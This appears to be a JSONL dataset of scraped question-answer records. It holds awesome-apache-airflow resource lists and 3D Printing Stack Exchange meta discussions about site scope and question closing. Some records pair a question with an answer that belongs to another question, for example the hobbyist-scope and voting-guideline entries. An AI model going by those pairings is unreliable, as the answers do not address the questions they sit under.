with Airflow](https://www.slideshare.net/LauraLorenz4/how-i-learned-to-time-travel-or-data-pipelining-and-scheduling-with-airflow) - Comprehensive deck by [Laura Lorenz](https://twitter.com/lalorenz6) for why Airflow is necessary and how [Industry Dive](https://www.industrydive.com/) uses it.\n- [Introduction to Apache Airflow - Data Day Seattle 2016](https://www.slideshare.net/r39132/introduction-to-apache-airflow-data-day-seattle-2016) - [Sid Anand](https://twitter.com/r39132) gives a thorough introduction to Airflow and how it was used at [Agari](https://www.agari.com/).\n- [Operating Data Pipeline With Airflow - Airflow Meetup April-2018](https://speakerdeck.com/vananth22/operating-data-pipeline-with-airflow-at-slack) - [Ananth Packkildurai](https://twitter.com/ananthdurai) talks about scaling airflow Local Executor and best practices to operate data pipeline at [Slack](https://slack.com/).\n- [Apache Airflow at WePay](https://wepayinc.app.box.com/s/hf1chwmthuet29ux2a83f5quc8o5q18k) - [Chris Riccomini](https://twitter.com/criccomini) discusses why WePay chose Airflow and provides a detailed breakdown of their deployment and the infrastructure behind it.\n- [Elegant data pipelining with Apache Airflow](https://www.youtube.com/watch?v=neuh_2_zrt8) - Talks from [Bolke de Bruin](https://twitter.com/bolke2028) and [Fokko Driesprong](https://twitter.com/fokkodriesprong) at PyData Amsterdam 2018 about methodologies that provide clarity in ETL using Airflow.\n- [Airflow @ Lyft](https://www.slideshare.net/taofung/airflow-at-lyft) - Talks from [Tao Fe", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597537"}
{"id": "gh_9dcd9e4e8a14", "question": "How to: Libraries, Hooks, Utilities", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- [Domino](https://github.com/Tauffer-Consulting/domino) - Domino is an open source Graphical User Interface platform for creating data and Machine Learning workflows (DAGs) with no-code, visually intuitive drag-and-drop actions. It is also a standard for publishing and sharing your Python code so it can be automatically used by anyone, directly in the GUI.\n- [Airflow-Helper](https://github.com/xnuinside/airflow-helper) - setting up Airflow Variables, Connections, and Pools from a YAML configuration file.\n- [AirFly](https://github.com/ryanchao2012/airfly) - Auto generate Airflow's dag.py on the fly.\n- [DEAfrica Airflow](https://github.com/digitalearthafrica/deafrica-airflow) - Airflow libraries used by [Digital Earth Africa](https://digitalearthafrica.org/), an humanitarian effort to utilize satellite imagery of Africa.\n- [Airflow plugins](https://github.com/airflow-plugins/) - Central collection of repositories of various plugins for Airflow, including mailchimp, trello, sftp, GitHub, etc.\n- [fileflow](https://github.com/industrydive/fileflow) - Collection of modules to support large data transfers between Airflow operators through either local file system or S3.  This addresses a gap where data is too large for XCOMs but too small or inconvenient for loading directly in the operator.  Built by [Industry Dive](https://www.industrydive.com/).\n- [fairflow](https://github.com/michaelosthege/fairflow) - Library to abstract away Airflow's Operators with functional pieces that transform the data from one operator to another.\n- [airflow-maintenance-dags](https://github.com/teamclairvoyant/airflow-maintenance-dags) - [Clairvoyant](http://clairvoyantsoft.com/) has a repo of Airflow DAGs that operator on Airflow itself, clearing out various bits of the backing metadata store.\n- [test_dags](https://gist.github.com/criccomini/2862667822af7fae8b55682faef029a7) - a more complete solution for DAG integrity tests ([first Circle of Data’s Inferno are the first](https://medium.com/@ingwbaa/datas-inferno-7-circles-of-data-testing-hell-with-airflow-cef4adff58d8).\n- [dag-factory](https://github.com/ajbosco/dag-factory) - A library for dynamically generating Apache Airflow DAGs from YAML configuration files.\n- [whirl](https://github.com/godatadriven/whirl) - Fast iterative local development and testing of Apache Airflow workflows.\n- [airflow-code-editor](https://github.com/andreax79/airflow-code-editor) - A plugin for Apache Airflow that allows you to edit DAGs in browser.\n- [Pylint-Airflow](https://github.com/BasPH/pylint-airflow) - A Pylint plugin for static code analysis on Airflow code.\n- [afctl](https://github.com/qubole/afctl) - A CLI tool that includes everything required to create, manage and deploy airflow projects faster and smoother.\n- [Dag Dependencies viewer](https://github.com/ms32035/airflow-dag-dependencies) - A plugin which creates a view to visualize dependencies between the Airflow DAGs\n- [Airflow ECR Plugin](https://github.com/asandeep/airflow-ecr-plugin) - Plugin to refresh AWS ECR login token at regular intervals. This is helpful where DockerOperator needs to pull images hosted on ECR.\n- [AirflowK8sDebugger](https://github.com/Javier162380/AirflowKuberentesDebugger) - A library for generate k8s pod yaml templates from an Airflow dag using the KubernetesPodOperator.\n- [Oozie to Airflow](https://github.com/GoogleCloudPlatform/oozie-to-airflow) - A tool to easily convert between [Apache Oozie](http://oozie.apache.org/) workflows and Apache Airflow workflows.\n- [Airflow Ditto](https://github.com/angadsingh/airflow-ditto) - An extensible framework to do transformations to an Airflow DAG and convert it into another DAG which is flow-isomorphic with the original DAG, to be able to run it on different environments (e.g. on different clouds, or even different container frameworks - Apache Spark on YARN vs Kubernetes). Comes with out-of-the-box support for EMR-to-HDInsight-DAG transforms.\n- [gusty](https://github.com/chriscardillo/gusty) - Create a DAG using any number of YAML, Python, Jupyter Notebook, or R Markdown files that represent individual tasks in the DAG. gusty also configures dependencies, DAGs, and TaskGroups, features support for your local operators, and more. A fully containerized demo is available [here](https://github.com/chriscardillo/gusty-demo).\n- [Meltano](https://www.meltano.com) - Open source, self-hosted, CLI-first, debuggable, and extensible ELT tool that embraces [Singer](https://www.singer.io) for extraction and loading, leverages [dbt](https://www.getdbt.com) for transformation, and [integrates with Airflow for orchestration](https://meltano.com/#orchestration).\n- [DAG checks](https://github.com/politools/dag-checks) - The dag-checks consist of checks that can help you in maintaining your Apache Airflow instance.\n- [Airflow DVC plugin](https://github.com/covid-genomics/airflow-dvc) - Plugin for open-source version-control system for data science and Machine Learning pipelines - [DVC](htt", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597558"}
{"id": "gh_2a5603714021", "question": "How to: Commercial Airflow-as-a-service providers", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- [Google Cloud Composer](https://cloud.google.com/composer/) - Google Cloud Composer is a managed service built atop Google Cloud and Airflow.\n- [Qubole](http://docs.qubole.com/en/latest/user-guide/airflow/) - Qubole is mainly known as a service-and-support company for Apache Hive, but also provides Airflow as a component of its platform.\n- [Astronomer.io](https://www.astronomer.io/) - Astronomer provides complete ETL lifecycle solutions and appears to be entirely focused on providing Airflow-based products.\n- [AWS MWAA](https://aws.amazon.com/managed-workflows-for-apache-airflow/) - Amazon Managed Workflows for Apache Airflow (MWAA) is a managed orchestration service for Apache Airflow that makes it easier to set up and operate end-to-end data pipelines in the cloud at scale.", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597566"}
{"id": "gh_00ec4bad4e28", "question": "How to: Cloud Composer resources", "question_body": "About jghoman/awesome-apache-airflow", "answer": "*This section contains articles that apply to [Cloud Composer](https://cloud.google.com/composer) — a service built by Google Cloud based on Apache Airflow. Tricks and solutions are described here that are intended for Cloud Composer, but may be applicable to vanilla Airflow.*\n\n- [Enabling Autoscaling in Google Cloud Composer](https://medium.com/traveloka-engineering/enabling-autoscaling-in-google-cloud-composer-ac84d3ddd60) - Supercharge your Cloud Composer deployment while saving up some cost during idle periods.\n- [Scale your Composer environment together with your business](https://cloud.google.com/blog/products/data-analytics/scale-your-composer-environment-together-your-business) - The Celery Executor architecture and ways to ensure high scheduler performance.\n- [pianka.sh](https://github.com/politools/airflow-pianka-sh) - Missing command in the gcloud tool. This tool facilitates some administrative tasks.\n- [The Smarter Way of Scaling With Composer’s Airflow Scheduler on GKE](https://medium.com/swlh/the-smarter-way-of-scaling-with-composers-airflow-scheduler-on-gke-88619238c77b) - [Roy Berkowitz](https://www.linkedin.com/in/roy-berkowitz-19922aa9/) discusses more effective use of nodes in the Cloud Composer service.\n- [Better together: orchestrating your Data Fusion pipelines with Cloud Composer](https://cloud.google.com/blog/products/data-analytics/easier-management-for-cloud-etl-elt-pipelines) - [Rachael Deacon-Smith](https://www.linkedin.com/in/rachael-deacon-smith-82660172) provides an overview of the operator for Datafusion use case on Cloud Composer.", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597575"}
{"id": "gh_82ac58942fe7", "question": "How to: Non-English resources", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- [Airflow Documentation-Chinese](https://airflow.apachecn.org) - (🇨🇳Chinese) [Apachecn](https://github.com/apachecn) has translated the Airflow official documentation.\n- [Gestion de Tâches avec Apache Airflow](http://ncrocfer.github.io/posts/gestion-de-taches-avec-apache-airflow/) - (🇫🇷French) [Nicolas Crocfer](https://github.com/ncrocfer) - Overview of Airflow, basic concepts and how to write and trigger a DAG.\n- [Airflowはすごいぞ！100行未満で本格的なデータパイプライン](https://qiita.com/hankehly/items/1f02a34740276d1b8f0f) - (🇯🇵Japanese) [Hank Ehly](https://github.com/hankehly) gives a comprehensive introduction to Airflow's main concepts, and demonstrates how to create a data pipeline in less than 100 lines of code.\n- [apache airflow 複数worker構成のalpine版docker imageを作った](https://sekailab.com/wp/2018/04/05/apache-airflow-multinode-alpine-docker-image/) - (🇯🇵Japanese) [Akio Ohta](https://github.com/Drunkar) walks through his [Docker image](https://hub.docker.com/r/drunkar/airflow-alpine/) for deploying an Alpine-based Airflow system.\n- [AirflowのタスクログをS3に保存する方法](https://qiita.com/hankehly/items/5e2493cdf2c95ae42449) - (🇯🇵Japanese) [Hank Ehly](https://github.com/hankehly) shows step-by-step how to configure sending task logs to AWS S3.\n- [【徹底解説】Airflow Fluentd Elasticsearch Docker の連携方法](https://qiita.com/hankehly/items/f525465bba8b47da0b76) - (🇯🇵Japanese) [Hank Ehly](https://github.com/hankehly) describes how to handle worker task logs with Fluentd, Elasticsearch and Docker.\n- [Apache Airflow – Kaikki Mitä Meillä On, Lähtee Dageista](https://www.solita.fi/blogit/apache-airflow-kaikki-mita-meilla-on-lahtee-dageista/) - (🇫🇮Finnish) [Olli Iivonen](https://www.linkedin.com/in/oiivonen/)'s overview of Airflow, concepts and Airflow's usage at [Solita](https://www.solita.fi/).\n- [Airflow - Automatizando seu fluxo de trabalho](https://speakerdeck.com/gilsondev/airflow-automatizando-seu-fluxo-de-trabalho) - (🇧🇷Portuguese) [Gilson Filho](https://github.com/gilsondev)'s overview of Airflow, concept and basic use.\n- [Panduan Dasar Apache Airflow](https://imamdigmi.github.io/post/tutorial-airflow-part-1/) - (🇮🇩Indonesian) [Imam Digmi](https://github.com/imamdigmi) - Overview of Airflow, concept, basic use with use case.\n- [Airflow](https://blog.duyet.net/tag/airflow) - (🇻🇳Vietnamese) [Duyet Le](https://github.com/duyet) - Overview of Airflow, concept, basic use with use case.\n- [Michael Yang's Airflow Chinese Blog Posts](https://blog.csdn.net/Young2018/article/details/109105370?spm=1001.2014.3001.5501) - Michael Yang's Chinese blog posts about data engineering with Apache Airflow, conclude basic tutorials and devops skills.", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597590"}
{"id": "gh_d6035374d0be", "question": "How to: Sample projects", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- [Google Cloud Platform Public Datasets Pipelines](https://github.com/GoogleCloudPlatform/public-datasets-pipelines) - Cloud-native, data pipeline architecture for onboarding datasets to the Google Cloud Public Datasets Program.\n- [GitLab Data Team DAGs](https://gitlab.com/gitlab-data/analytics/-/tree/master/dags) - Several DAGs used to build analytics for the GitLab platform.\n- [deploy-airflow-on-ecs-fargate](https://github.com/hankehly/deploy-airflow-on-ecs-fargate) - Deploy to Amazon ECS Fargate. Demonstrates various features and configurations, such as autoscaling workers to zero, S3 remote logging and secret management.", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597597"}
{"id": "hf_4fa575292653", "question": "<p>Are there plans or ideas floating around for a logo contest, or is that a Public-Beta stage thing?</p>\n", "question_body": "", "answer": "Getting a logo is part of getting a design, which is something that happens when a site\ngraduates\nout of public beta.\nIn short, not for a long time yet.\nWhile the site is in beta it will keep this theme that it currently has.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:39.937670"}
{"id": "hf_c18448242e11", "question": "<p>Is it realistic or thought neccesary to develop a plugin/feature for this site, to automatically add a small info-box about a thingiverse link? An example of this is Apple's 3D touch technology. In theory, the plugin could recogize thingiverse links in questions and answers, replace the link with an image and the author/name of the project.</p>\n\n<p>I'm also volunteering myself to help with this if there's interest. (Experience with Thingiverse API)</p>\n", "question_body": "", "answer": "Typically, it's a better idea to wait before you try to get this kind of thing integrated.\nEnthusiasm is great in a private beta, but for the early stages, direct that enthusiasm towards the Q&A. That's what'll get this site on its feet and into a successful public beta.\nWhen the site's more stable and running nicely, then if there's a need (or want) for a plugin like this then the discussion about it can be had.\n(On a tangent - if such a plugin is going to happen, it may well be down to SE's developers to get it done, which might make getting assistance from the people on this site difficult.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:39.962887"}
{"id": "hf_b1c1b2571351", "question": "<p>What would be a good tag to use for doing business/making profit with a 3D printer?</p>\n", "question_body": "", "answer": "I'd suggest two different tags:\n[monetization]: For selling, or profiting from printing, or from printing machines\n[financing] (or [costs]): For calculating the cost of materials and machines, including operational expenses.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.037081"}
{"id": "hf_1b07295ea66d", "question": "<p>We currently have quite a few tags about filament:</p>\n\n<ul>\n<li><a href=\"https://3dprinting.stackexchange.com/questions/tagged/filament\" class=\"post-tag\" title=\"show questions tagged &#39;filament&#39;\" rel=\"tag\">filament</a></li>\n<li><a href=\"https://3dprinting.stackexchange.com/questions/tagged/plastic-filament\" class=\"post-tag\" title=\"show questions tagged &#39;plastic-filament&#39;\" rel=\"tag\">plastic-filament</a></li>\n<li><a href=\"https://3dprinting.stackexchange.com/questions/tagged/thermoplastic-filament\" class=\"post-tag\" title=\"show questions tagged &#39;thermoplastic-filament&#39;\" rel=\"tag\">thermoplastic-filament</a></li>\n<li>etc.</li>\n</ul>\n\n<p>I feel like we need to clean these up and make clear what we'll use each tag for.</p>\n\n<p>Thoughts?</p>\n", "question_body": "", "answer": "I see a form of hierarchy that could be used.\nDepending on the question a higher level tag could be used or a more specific one for specific problems (or both tags even).\nFilament\nPlastic Filament\nABS\nPLA\nWater Soluble\nPVA\nFlexible\nNinjaFlex and similar\nTPU\nConductive\nMetalic\nResin\nPowder\nFull Color\nFeel free to edit to add more types", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.071699"}
{"id": "hf_0afb775807fe", "question": "<p>We have only had activity on 3 questions in the past 2 days.  It is recommended that we get 10 new questions per day.  This is far below these goals.</p>\n\n<p>What can we do to get more questions?</p>\n", "question_body": "", "answer": "I wouldn't worry too much about it.\nWe're still currently in the private beta stage, and we'll be in this spot for another 9 days. After nearly two weeks of private beta, it's perfectly natural for activity to slow down.\nSo what should you do?\nDon't lose out. Make sure that you keep your commitment to this strong. Keep active on meta, working through the queues and discussing site issues.\nQuantity is not everything. Whatever you do, never sacrifice quality in these critical stages. Don't ask questions simply for the sake of asking: if you do, you're bailing out on the site. Continue answering questions with quality. If you start seeding the site with lower-quality questions, you'll destroy the site. I've seen this happen. You've got a reputation so far, make sure to keep it, or even improve it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.106901"}
{"id": "hf_efc528911f72", "question": "<p>As you may or may not know, this is the third iteration of a proposal site that covers 3D Printing. The first 2 made it to the beta phase, but did not graduate  from the beta successfully:</p>\n\n<ul>\n<li><a href=\"http://area51.stackexchange.com/proposals/41850/digital-fabrication\">Digital Fabrication</a></li>\n<li><a href=\"http://area51.stackexchange.com/proposals/22246/personal-manufacturing\">Personal Manufacturing</a></li>\n</ul>\n\n<p>Would it be acceptable to extract <code>good</code>/<code>relevant</code> questions out of these beta site question dumps and post them in the 3D Printing site?</p>\n", "question_body": "", "answer": "If someone has a question from one of those older sites, they should go ahead and ask it. But a wholesale importing of content from elsewhere is not really a desirable way to build this site.\nThere is a lot of ownership and careful curation that goes with vetting the content of this site. Questions imported from elsewhere would always have that air of odd, forgotten legacy content back-dated and\nanonymous\nwith no owners or real-time vetting at all. If someone posts another answer or asks for some followup to one of these questions, no one will receive the notification. Essentially, we would be loading this site up with a lot of questions asked and answered a long time ago without imparting any of the benefits of reputation, ownership, or experience into the community that is supposed to take care of it.\nThat's why we don't do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.158104"}
{"id": "hf_d57c7b562f34", "question": "<p>I feel like questions along the lines of, \"my printer is crashing for no obvious reason, what should I do?\" may be too broad and open-ended for this format. It's better handled by a forum where people can have running discussions to rule out a series of tests. What do you guys think?</p>\n", "question_body": "", "answer": "For common problems that get asked a lot, I wouldn't just close these as\ntoo broad.\nA better solution is to create a\ncanonical post\nlike this:\nHow do I troubleshoot when I have no clue where to start?\nThese attract a\nlot\nof users.\nThe goal is to create a step-by-step trouble-shooting guide to explain what lights, nozzles, and sneedles to look when you're kwigger isn't going\nzong.\nAnd don't just answer with a hyperlink to some other discussion group somewhere. Do everything you can to really overkill it. Write a detailed, step-by-step, ultra-clear guide, so when zillions of people with this problem go searching, you stand a good chance of the best possible answer on the web.\nThis is one of those opportunities to attract some great new users who will add value for years to come.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.182340"}
{"id": "hf_b253545d7a97", "question": "<p><a href=\"https://3dprinting.stackexchange.com/questions/413/methods-for-smoothing-3d-objects\">Methods for smoothing 3D objects</a></p>\n\n<p>So... maybe one day it becomes community wiki. I think that we need this type of questions, so we can provide more detailed answers to methods and practices.</p>\n", "question_body": "", "answer": "\"is still too broad?\"\nis answered by your own question,\n\"we can provide more detailed answers\"\n.\nThe problem essentially is that this Q&A format isn't suited to very long treatises on this type of subject.  It's far better to ask a specific question such as\n\"How do I smooth this ABS print to eliminate all signs that it was 3D printed?\"\nand receive several good answers, than to have a one-stop-wiki question that attempts (and usually does very poorly) at holding all the answers to all the possible smoothing questions.\nSo I'd recommend we leave this question closed and let people start more specific questions as they run into actual problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.206269"}
{"id": "hf_a27c26ee9cb0", "question": "<p>I've been seeing feedback from people in other 3DP communities that they think this stack exchange site is driving away new users by holding newbie questions to an excessively high standard for quality. On one hand, we all know SE works best with clear and logical questions that lead to clear and logical answers. But the majority of people seeking help with 3d printers don't seem to have enough of a technical foundation to know how to ask good questions. There's a large potential userbase (perhaps MOST potential users) that will need handholding for their first few questions. </p>\n\n<p>How do you guys want to handle this?</p>\n", "question_body": "", "answer": "I think you highlighted one of the more important points, in that \"\nSE works best with clear and logical questions that lead to clear and logical answers\n\". From what I've noticed (and I just went back through my own voting history), there have been a number of \"primarily opinion based\" and \"too broad\" questions. I believe it's important to maintain quality questions/answers especially in this early stage of release. Please regard\nthis other meta post\nasking what the guidelines are for proper 3D Printing community questions.\nI, for one, feel that I learned the most SE etiquette by reading a large number of questions on SO as opposed to the SE documentation. It seems that a few of the questions we've gotten lately have been from completely new users to the Stack Exchange network. I don't like scaring people away from the site, so it is best to try and coach these new users.\nI retract the following suggestion as I agree with\nMark Booth's answer\ngiven his explanation.\nI would suggest an informal guideline for closing questions:\nFirst, notify the OP to the condition of their question. Perhaps even suggest a means to fix the errant condition(s).\nIf, after at least 24 hours of the comment, the OP has not either responded reasonably (within SE etiquette) nor updated the question, then begin the process of closing.\nI'll leave this open to the community for amendments below:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.231307"}
{"id": "hf_3da3eeb3ce37", "question": "<p>I just noticed that there is a large amount of tag wiki excerpts edits in the review queue, all of which are of the form:</p>\n\n<blockquote>\n  <p>X is for questions about X</p>\n</blockquote>\n\n<p>A tag wiki excerpt should define what a term means <em>to our community</em> specifically and give <em>usage advice</em>. In particular, Stack Exchange offers the following default reason for rejecting an excerpt:</p>\n\n<blockquote>\n  <p>Tag excerpts amounting to, \"[tag] is for questions about [tag]\" are pointless and usually rejected. Excerpts should describe why and when a tag would be used.</p>\n</blockquote>\n\n<p>See the <a href=\"https://cs.stackexchange.com/help/tag-excerpts\">help center</a> for more details on what a tag excerpt should be.</p>\n\n<p>While obviously well-intended, I believe such tag wiki excerpts should not be suggested (and/or approved). This post is to serve as a gentle reminder of that.</p>\n", "question_body": "", "answer": "For reference, I would like to propose a copy-paste solution for tags.\nUsage Guidance\n```\nFor questions regarding {insert list of applicable topics} of {Tag Name}.\n```\nDetails\n```\n```\n{Tag name, unabbreviated}: {Definition}\n\nExamples:\n - What is {blah blah blah}?\n - Where can I find {blah blah blah}?\n - Why does {blah blah blah}?\n - How do I {blah blah blah}?\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.256296"}
{"id": "hf_cb662335d70e", "question": "<p>The amount of posts being voted to closed is getting ridiculous.  The last two posts have been printing related, one looking for information and the other a design question for 3D printing yet both have been voted to be closed.  </p>\n\n<p>Yes, I have read the other Meta post about how closing is not permanent (<a href=\"https://3dprinting.meta.stackexchange.com/questions/111/closing-locking-too-many-questions\">Closing/locking too many questions?</a>) but this site does not have much to offer right now and I can tell you if I was new here I wouldn't stick around and edit the post time after time to get an answer when I'm sure most people here can answer the question.  The site is now running at 1.2 questions per day and I don't see that going up at all if the criteria isn't changed for how people are voting.  If that's how everyone wants the site run then that's fine but I'm sure you'll be alone here.</p>\n", "question_body": "", "answer": "I absolutely agree. I believe we all want this site to maintain high quality, but right now almost no questions fall within our desired scope and form.\nI think we either need to:\nChange the acceptable scope of questions to be asked\nChange how we welcome new users\nRight now most new users do not ask questions \"the SE way\", which quickly leads to down-votes and closing votes. For new users this is a direct slap in the face.\nWhat we rather should do is to\nencourage\nnew users to improve their question, and if they do, give them the highly desired up-votes to make them come back for more.\nI think the reputation system on SE sites is a great motivator for writing good questions and answers. And if we want this site to grow, we need to let our fellow users grow with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.302274"}
{"id": "hf_18342ae99903", "question": "<p>There has been a lot of questions and confusion about what is acceptable here on 3D Printing SE. Let's go ahead and discuss what types of questions should be acceptable on the site.</p>\n\n<p>We're going to do this based on votes. I'll leave it up to debate in the comments below, but we'll emulate Area51 question requirements. Here are the guidelines:</p>\n\n<ul>\n<li><strong>10 positive votes</strong>, passes.</li>\n<li><strong>One answer per topic</strong>. The focus is voting on topics, and votes pertain to the validity of the topic.</li>\n<li>Similar topics that can be merged should explicitly mention the deprecated topic.</li>\n<li>Appropriately passed topics should have closed questions re-opened (as appropriate).</li>\n</ul>\n", "question_body": "", "answer": "I absolutely agree. I believe we all want this site to maintain high quality, but right now almost no questions fall within our desired scope and form.\nI think we either need to:\nChange the acceptable scope of questions to be asked\nChange how we welcome new users\nRight now most new users do not ask questions \"the SE way\", which quickly leads to down-votes and closing votes. For new users this is a direct slap in the face.\nWhat we rather should do is to\nencourage\nnew users to improve their question, and if they do, give them the highly desired up-votes to make them come back for more.\nI think the reputation system on SE sites is a great motivator for writing good questions and answers. And if we want this site to grow, we need to let our fellow users grow with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.325677"}
{"id": "hf_4f5cdaca2445", "question": "<p>Context: I have absolutely no knowledge of 3D printing other than you need a computer, a printer, some software, and a design. That is literally the extent of my knowledge on 3D printing.</p>\n\n<p>However, I have an idea of something I'd like to have 3D printed. While the idea has a fairly reasonably defined shape in mind, it doesn't exist in any digital or paper format and has some specifics that still need to be filled out (such as accurate dimensions and a few design details).</p>\n\n<p>I need to bridge the chasm of knowledge between my current design and limited knowledge to a fleshed-out design file with chosen materials and other specifics. A good chunk of my problem is that I don't even know <em>what</em> I should know. While I realize that this site is still fairly new and things are being nailed down, how do I ask the proper question(s) to fill in my knowledge gaps that will be on-topic for the site? Is there even a path forward for these kinds of questions on the site?</p>\n", "question_body": "", "answer": "There is a\nnew question on Meta\nthat should help define what is okay on this site.\nHowever, your question is important to address here.\nUltimately, you shouldn't be afraid to go ahead and ask the question. If the question does not meet the conditions of the present site, the general public will be sure to let you know and (hopefully) help direct you in at least asking a more direct question.\nIf you post a question that is closed, it would acceptable to post a question here on Meta that specifically asks how to make your question fit within the scope of the site.\nI would suggest providing as much information as you have and feel free to ask the more general questions about 3D printing. Most people in the community will ask specific questions to try and help you. Some may even be able to fill in the blanks of what you're asking and provide you with very helpful answers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.349011"}
{"id": "hf_78d3063ec73b", "question": "<p>We have <a href=\"https://3dprinting.stackexchange.com/questions/1117/alternative-3d-molding-techniques-at-home\">a recent question</a> that brings up the question of \"<em>Should we support general hobbyist questions?</em>\"</p>\n\n<p>Currently, there doesn't appear to be a viable site within the SE network. The question at hand seems to be a mix between 3D Printing and DIY. If we allow this question, it could allow people to ask questions like the following:</p>\n\n<ul>\n<li>CNC Mills</li>\n<li>Routers</li>\n<li>Lasers</li>\n<li>etc.</li>\n</ul>\n", "question_body": "", "answer": "There is a\nnew question on Meta\nthat should help define what is okay on this site.\nHowever, your question is important to address here.\nUltimately, you shouldn't be afraid to go ahead and ask the question. If the question does not meet the conditions of the present site, the general public will be sure to let you know and (hopefully) help direct you in at least asking a more direct question.\nIf you post a question that is closed, it would acceptable to post a question here on Meta that specifically asks how to make your question fit within the scope of the site.\nI would suggest providing as much information as you have and feel free to ask the more general questions about 3D printing. Most people in the community will ask specific questions to try and help you. Some may even be able to fill in the blanks of what you're asking and provide you with very helpful answers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.371984"}
{"id": "hf_b6b65711f2b8", "question": "<p>It's pretty manageable right now due to the low question rate, but I think maybe ~3% of all questions this site will get, forever, will be \"what's the best printer\" or \"what printer should I buy\" type questions. They're mostly coming from people who don't know enough about 3DP to articulate their requirements, so they're difficult to help and very unfocused. Is there a better way to handle this than locking them as they come up? </p>\n", "question_body": "", "answer": "I think the site tries to prevent this as best as possible, short of having a bot prevent the post.\nThere is the\nDon't Ask\npage and the\nOn-Topic\n(which we have control over its content).\nThe suggested/related questions that appear when asking a question. Ideally users at least regard its existence before posting the question.\nThere appears to be a pop-up that does try to warn the user that their question is \"subjective\". I tested it really quick, see the image below\nAll else fails, that's what moderators are for. Moderators should utilize the tools available to them. So even if these types of questions pile up, there are means of quickly identifying. A simple feature, available to everyone, is advanced searches. I try to use searches like\nthis\nto quickly identify large groups of questions that may need 